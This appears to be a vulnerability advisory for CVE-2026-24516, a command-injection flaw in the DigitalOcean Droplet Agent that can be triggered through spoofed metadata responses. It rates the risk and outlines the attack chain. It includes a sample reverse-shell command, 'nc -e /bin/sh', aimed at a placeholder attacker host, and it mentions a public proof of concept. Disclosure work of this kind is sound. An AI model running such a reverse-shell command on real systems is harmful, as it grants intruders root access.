N A CVE-2026-24516

Requires authenticated access to DigitalOcean metadata service or ability to intercept/control metadata responses. Attacker must craft malicious TroubleshootingAgent.Requesting metadata with injected OS commands. Affects DigitalOcean Droplet Agent versions through 1.3.2 running on affected Droplets.

This vulnerability presents critical real-world risk despite the absence of CVSS and EPSS scores in the provided data. The attack vector is network-based (169.254.169.254 metadata service is accessible to any process on the instance), attack complexity is low (metadata service responses can be manipulated by network-level adversaries or compromised cloud infrastructure), and the required privileges are none (any process can trigger the metadata fetch). The impact scope is HIGH: privilege escalation to root, arbitrary command execution, complete system compromise, and potential lateral movement across cloud infrastructure are all directly achievable. The existence of public proof-of-concept code (referenced at github.com/poxsky/CVE-2026-24516-DigitalOcean-RCE) significantly elevates practical exploitation probability and indicates this is not theoretical. The vulnerability is automatable and requires no user interaction, making it suitable for large-scale cloud environment compromises. This is a critical priority issue with high real-world risk: a combination of high technical impact, low attack complexity, network accessibility, and public exploit code creates an immediately exploitable vulnerability in a privileged system component.

An attacker positioned on the same cloud network segment or with control of cloud infrastructure routing (e.g., via BGP hijacking, ARP spoofing, or compromised cloud fabric) intercepts or redirects metadata service requests destined for 169.254.169.254. When the Droplet Agent sends a metadata fetch request (triggered by a specially crafted TCP packet with specific sequence numbers to the SSH port), the attacker's malicious metadata response contains commands in the TroubleshootingAgent.Requesting array with unvalidated command content (e.g., 'command: nc -e /bin/sh attacker.com 4444'). The agent executes the injected command via exec.CommandContext without sanitization, granting the attacker a root-level shell on the compromised instance, from which they can exfiltrate sensitive data, pivot laterally to other cloud resources, or establish persistent access. A public proof-of-concept demonstrates this attack chain.